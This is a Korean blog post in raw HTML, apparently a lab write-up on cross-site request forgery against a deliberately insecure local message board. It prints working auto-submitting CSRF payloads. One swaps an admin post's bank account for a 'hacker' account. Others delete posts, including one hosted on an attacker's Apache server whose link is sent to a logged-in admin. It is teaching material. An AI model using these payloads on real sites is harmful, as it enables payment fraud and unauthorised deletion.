&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;게시글 수정 요청하는 CSRF 공격 페이로드&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;여기서 password 부분은 검증 로직이 없기 때문에 임의의 문자열을 입력해도 게시글 수정이 가능하다.(빈칸 입력 시 게시글 수정 불가)&lt;/p&gt;
&lt;pre id=&quot;code_1738751405638&quot; class=&quot;html xml&quot; data-ke-language=&quot;html&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;&amp;lt;body onload=&quot;document.forms[0].submit()&quot;&amp;gt;
&amp;lt;form action=&quot;http://192.168.56.1/insecure_website/action.php&quot; method=&quot;POST&quot; enctype=&quot;multipart/form-data&quot;&amp;gt;
&amp;lt;input type=&quot;hidden&quot; name=&quot;title&quot; value=&quot;계좌번호 정보입니다.&quot;&amp;gt;
&amp;lt;input type=&quot;hidden&quot; name=&quot;password&quot; value=&quot;a&quot;&amp;gt;
&amp;lt;input type=&quot;hidden&quot; name=&quot;content&quot; value=&quot;* 은행: 테스트 은행
* 예금주: 해커
* 계좌번호: 1212-1212-1212

모든 상품에 대한 입금은 해당 계좌로 입금해주세요&quot;&amp;gt;
&amp;lt;input type=&quot;hidden&quot; name=&quot;idx&quot; value=&quot;42&quot;&amp;gt;
&amp;lt;input type=&quot;hidden&quot; name=&quot;mode&quot; value=&quot;modify&quot;&amp;gt;
&amp;lt;input type=&quot;submit&quot;&amp;gt;
&amp;lt;/form&amp;gt;
&amp;lt;/body&amp;gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;게시글을 수정하는 대상(작성자)가 읽을만한 게시글을 작성해야 한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;공격자는 위 CSRF 페이로드를 사용하여 관리자가 혹할만한 게시글을 작성한다.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;825&quot; data-origin-height=&quot;724&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bbA1sS/btsL7gJWuqN/wmbxMezUN7dpEIiSKKuyB1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bbA1sS/btsL7gJWuqN/wmbxMezUN7dpEIiSKKuyB1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bbA1sS/btsL7gJWuqN/wmbxMezUN7dpEIiSKKuyB1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbbA1sS%2FbtsL7gJWuqN%2FwmbxMezUN7dpEIiSKKuyB1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;825&quot; height=&quot;724&quot; data-origin-width=&quot;825&quot; data-origin-height=&quot;724&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;로컬 PC의 관리자 계정으로 해당 게시글을 확인해본다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;관리자가 CSRF 페이로드가 입력된 게시글을 확인하자, 기존에 작성했던 계좌번호 정보 게시글이 해커의 계좌번호로 변경된 것을 확인할 수 있다.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;945&quot; data-origin-height=&quot;507&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/0Q0Yg/btsL75VqBVZ/uTzasGkyvENWuTksrPCEr1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/0Q0Yg/btsL75VqBVZ/uTzasGkyvENWuTksrPCEr1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/0Q0Yg/btsL75VqBVZ/uTzasGkyvENWuTksrPCEr1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2F0Q0Yg%2FbtsL75VqBVZ%2FuTzasGkyvENWuTksrPCEr1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;945&quot; height=&quot;507&quot; data-origin-width=&quot;945&quot; data-origin-height=&quot;507&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;948&quot; data-origin-height=&quot;687&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/y2mZ5/btsL9uTYPmO/ECYC6b4rR8aUTlumhfBkk0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/y2mZ5/btsL9uTYPmO/ECYC6b4rR8aUTlumhfBkk0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/y2mZ5/btsL9uTYPmO/ECYC6b4rR8aUTlumhfBkk0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fy2mZ5%2FbtsL9uTYPmO%2FECYC6b4rR8aUTlumhfBkk0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;948&quot; height=&quot;687&quot; data-origin-width=&quot;948&quot; data-origin-height=&quot;687&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;버프스위트에서 해당 요청값을 확인해본다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;해커가 작성한 게시글을 읽었을뿐인데, 관리자가 작성한 게시글이 자동으로 수정되는 것을 알 수 있다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;rarr; HTTP history 에서 idx=44 게시글(해커가 작성한 게시글)을 통해서 idx=42 게시글(관리자의 계좌번호 게시글)을 수정하는 요청이 이루어지는 것을 알 수 있다.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1547&quot; data-origin-height=&quot;922&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/b6K5dG/btsL7MBNvTc/9FIbaRQGGoMAhfjNsf7690/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/b6K5dG/btsL7MBNvTc/9FIbaRQGGoMAhfjNsf7690/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/b6K5dG/btsL7MBNvTc/9FIbaRQGGoMAhfjNsf7690/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fb6K5dG%2FbtsL7MBNvTc%2F9FIbaRQGGoMAhfjNsf7690%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1547&quot; height=&quot;922&quot; data-origin-width=&quot;1547&quot; data-origin-height=&quot;922&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;세션 검증 로직을 사용해도, 서버는 게시글 작성자의 정상적인 수정 요청으로 인식하여 게시글을 수정하게된다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이를 통해 공격자는 피해자가 의도하지 않은 게시글 무단 수정을 할 수 있게 된다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;이전의 게시글을 MySQL에서 한번에 삭제한다.&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;delect from insecure_board;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;339&quot; data-origin-height=&quot;100&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bV6enR/btsL8lDIdc5/e0uSCwkV5aYvwCVCxllZD1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bV6enR/btsL8lDIdc5/e0uSCwkV5aYvwCVCxllZD1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bV6enR/btsL8lDIdc5/e0uSCwkV5aYvwCVCxllZD1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbV6enR%2FbtsL8lDIdc5%2Fe0uSCwkV5aYvwCVCxllZD1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;339&quot; height=&quot;100&quot; data-origin-width=&quot;339&quot; data-origin-height=&quot;100&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이번에는 게시글 무단 삭제 실습을 진행한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;로컬 PC의 관리자 계정으로 삭제할 게시글을 작성한다.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;936&quot; data-origin-height=&quot;388&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bZs2n9/btsL9c0mrLb/ozLEB4OvaYVTeroqqkiPk1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bZs2n9/btsL9c0mrLb/ozLEB4OvaYVTeroqqkiPk1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bZs2n9/btsL9c0mrLb/ozLEB4OvaYVTeroqqkiPk1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbZs2n9%2FbtsL9c0mrLb%2FozLEB4OvaYVTeroqqkiPk1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;936&quot; height=&quot;388&quot; data-origin-width=&quot;936&quot; data-origin-height=&quot;388&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;VMWare 에서 해커 계정으로 test 게시글을 작성한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;버프스위트로 test 게시글의 삭제 요청을 확인한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;password 검증 로직은 주석 처리하였으므로, password에는 임의의 값만 입력하면 게시글은 삭제가 가능하다.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;935&quot; data-origin-height=&quot;328&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/XoM7a/btsL7dfFyjC/CJiWc3vDDKNVUsecobELD0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/XoM7a/btsL7dfFyjC/CJiWc3vDDKNVUsecobELD0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/XoM7a/btsL7dfFyjC/CJiWc3vDDKNVUsecobELD0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FXoM7a%2FbtsL7dfFyjC%2FCJiWc3vDDKNVUsecobELD0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;935&quot; height=&quot;328&quot; data-origin-width=&quot;935&quot; data-origin-height=&quot;328&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;게시글 수정 요청하는 CSRF 공격 페이로드&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;여기서 password 부분은 검증 로직이 없기 때문에 임의의 문자열을 입력해도 게시글 삭제가 가능하다.&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;idx 에는 삭제할 게시글 번호를 입력해주고, &amp;nbsp;enctype=&quot;multipart/form-data&quot; 는 삭제해준다.&lt;/p&gt;
&lt;pre id=&quot;code_1738753618648&quot; class=&quot;html xml&quot; data-ke-language=&quot;html&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;&amp;lt;body onload=&quot;document.forms[0].submit()&quot;&amp;gt;
&amp;lt;form action=&quot;http://192.168.56.1/insecure_website/action.php&quot; method=&quot;POST&quot;&amp;gt;
&amp;lt;input type=&quot;hidden&quot; name=&quot;password&quot; value=&quot;a&quot;&amp;gt;
&amp;lt;input type=&quot;hidden&quot; name=&quot;idx&quot; value=&quot;45&quot;&amp;gt;
&amp;lt;input type=&quot;hidden&quot; name=&quot;mode&quot; value=&quot;delete&quot;&amp;gt;
&amp;lt;input type=&quot;submit&quot;&amp;gt;
&amp;lt;/form&amp;gt;
&amp;lt;/body&amp;gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;해커는 관리자가 읽을만한 게시글을 작성한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;게시글 내용에는 idx=45 게시글을 삭제하는 CSRF 공격 페이로드를 입력한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;767&quot; data-origin-height=&quot;627&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bLywbL/btsL7N8w2xu/QZwuZ3suObVsSQOok6OJbK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bLywbL/btsL7N8w2xu/QZwuZ3suObVsSQOok6OJbK/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bLywbL/btsL7N8w2xu/QZwuZ3suObVsSQOok6OJbK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbLywbL%2FbtsL7N8w2xu%2FQZwuZ3suObVsSQOok6OJbK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;767&quot; height=&quot;627&quot; data-origin-width=&quot;767&quot; data-origin-height=&quot;627&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;관리자는 해당 게시글을 클릭한다.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;946&quot; data-origin-height=&quot;442&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/cJ6Hzw/btsL87Y1IIL/btxHKgneFpquj3jlKhN181/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/cJ6Hzw/btsL87Y1IIL/btxHKgneFpquj3jlKhN181/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/cJ6Hzw/btsL87Y1IIL/btxHKgneFpquj3jlKhN181/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FcJ6Hzw%2FbtsL87Y1IIL%2FbtxHKgneFpquj3jlKhN181%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;946&quot; height=&quot;442&quot; data-origin-width=&quot;946&quot; data-origin-height=&quot;442&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;게시글을 클릭하는 순간, 관리자가 작성한 공지사항이 삭제되는 것을 확인할 수 있다.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;944&quot; data-origin-height=&quot;385&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bL7a8O/btsL7haZ9Ob/CGyQ614iKG17oBsry18pD0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bL7a8O/btsL7haZ9Ob/CGyQ614iKG17oBsry18pD0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bL7a8O/btsL7haZ9Ob/CGyQ614iKG17oBsry18pD0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbL7a8O%2FbtsL7haZ9Ob%2FCGyQ614iKG17oBsry18pD0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;944&quot; height=&quot;385&quot; data-origin-width=&quot;944&quot; data-origin-height=&quot;385&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;버프스위트의 HTTP history 확인 시, 관리자가 idx=48 게시글을 읽음으로써, idx=45 게시글 삭제 요청을 한 것을 알 수 있다.&amp;nbsp;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1356&quot; data-origin-height=&quot;439&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/W7cU2/btsL7dtbQlO/YXPk7YbQum7WwbQB3sGh30/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/W7cU2/btsL7dtbQlO/YXPk7YbQum7WwbQB3sGh30/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/W7cU2/btsL7dtbQlO/YXPk7YbQum7WwbQB3sGh30/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FW7cU2%2FbtsL7dtbQlO%2FYXPk7YbQum7WwbQB3sGh30%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1356&quot; height=&quot;439&quot; data-origin-width=&quot;1356&quot; data-origin-height=&quot;439&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이를 통해 CSRF 공격을 활용하여 게시글 무단 삭제 실습까지 완료하였다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;현재까지 진행했던 공격은 공격자가 특정 사이트에 악성 스크립트를 저장하여,&amp;nbsp; 피해자는 해당 악성 스크립트를 읽게됨으로써 공격자가 의도한 행위를 자신도 모르게 실행하게 되었다. (1개 사이트)&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이번에 진행할 실습은 서로 다른 사이트(2개 사이트)에서 진행된다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;공격자는 자신의 서버에 CSRF 공격 페이로드가 담긴 악성 스크립트를 저장한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;공격자는 해당 서버로 연결되는 URL을 사용자에게 전달하여, 사용자는 해당 URL을 통해 악성 스크립트를 읽게 되어 insecure_website에서 공격자가 의도한 요청을 실행하게 된다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;로컬 PC의 관리자 계정으로 삭제 대상 게시글을 작성한다.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;945&quot; data-origin-height=&quot;396&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/dKUbmf/btsL7weIKTX/Avt4Ar58ssP4upFrKVeRMk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/dKUbmf/btsL7weIKTX/Avt4Ar58ssP4upFrKVeRMk/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/dKUbmf/btsL7weIKTX/Avt4Ar58ssP4upFrKVeRMk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FdKUbmf%2FbtsL7weIKTX%2FAvt4Ar58ssP4upFrKVeRMk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;945&quot; height=&quot;396&quot; data-origin-width=&quot;945&quot; data-origin-height=&quot;396&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;공격자 서버의 URL을 사용하기 위해서는 현재 해커 PC로 사용하는 VMWare 의 칼리리눅스에서 먼저 아파치 서버를 기동시켜줘야 한다. 만약 아파치 서버가 설치되어 있지 않다면, 설치 부터 진행한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;sudo apt-get install apache2&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;sudo service apache2 start&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이후 VMWare 칼리리눅스(해커 PC)의 IP인 192.168.197.138 로 접속하거나, 127.0.0.1, localhost 로 접속해본다.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1261&quot; data-origin-height=&quot;672&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/ceF34A/btsL88cCc54/J1FxFLIiEHV4ze2juzRnn1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/ceF34A/btsL88cCc54/J1FxFLIiEHV4ze2juzRnn1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/ceF34A/btsL88cCc54/J1FxFLIiEHV4ze2juzRnn1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FceF34A%2FbtsL88cCc54%2FJ1FxFLIiEHV4ze2juzRnn1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1261&quot; height=&quot;672&quot; data-origin-width=&quot;1261&quot; data-origin-height=&quot;672&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;위와 같이 Apache2 페이지에 접속된다면 성공적으로 서버가 기동된 것이다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;VMWare 에서 악성 스크립트가 담긴 페이지를 생성한다. (공격자 서버에서 CSRF 페이로드 저장)&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;VMWare 에서 /var/www/html 에서 폴더를 생성하기 위해서는 root 권한으로 사용해야 가능하다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;VMWare 내 악성 스크립트 저장 위치: /var/www/html/csrf/index.php&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;공격 페이로드&lt;/p&gt;
&lt;pre id=&quot;code_1738757289010&quot; class=&quot;php&quot; data-ke-language=&quot;php&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;&amp;lt;body onload=&quot;document.forms[0].submit()&quot;&amp;gt;
&amp;lt;form action=&quot;http://192.168.56.1/insecure_website/action.php&quot; method=&quot;POST&quot;&amp;gt;
&amp;lt;input type=&quot;hidden&quot; name=&quot;password&quot; value=&quot;a&quot;&amp;gt;
&amp;lt;input type=&quot;hidden&quot; name=&quot;idx&quot; value=&quot;49&quot;&amp;gt;
&amp;lt;input type=&quot;hidden&quot; name=&quot;mode&quot; value=&quot;delete&quot;&amp;gt;
&amp;lt;input type=&quot;submit&quot;&amp;gt;
&amp;lt;/form&amp;gt;
&amp;lt;/body&amp;gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;공격자는 자신의 서버에 저장되어 있는 악성 스크립트가 담긴 URL을 사용자에게 전달한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;여기서 중요한 것은 게시글 작성자의 세션이 있어야 하므로, 관리자가 현재 로그인한 상태에서 해당 URL을 접속해야 성공적으로 게시글이 삭제된다는 것이다.&lt;/p&gt;
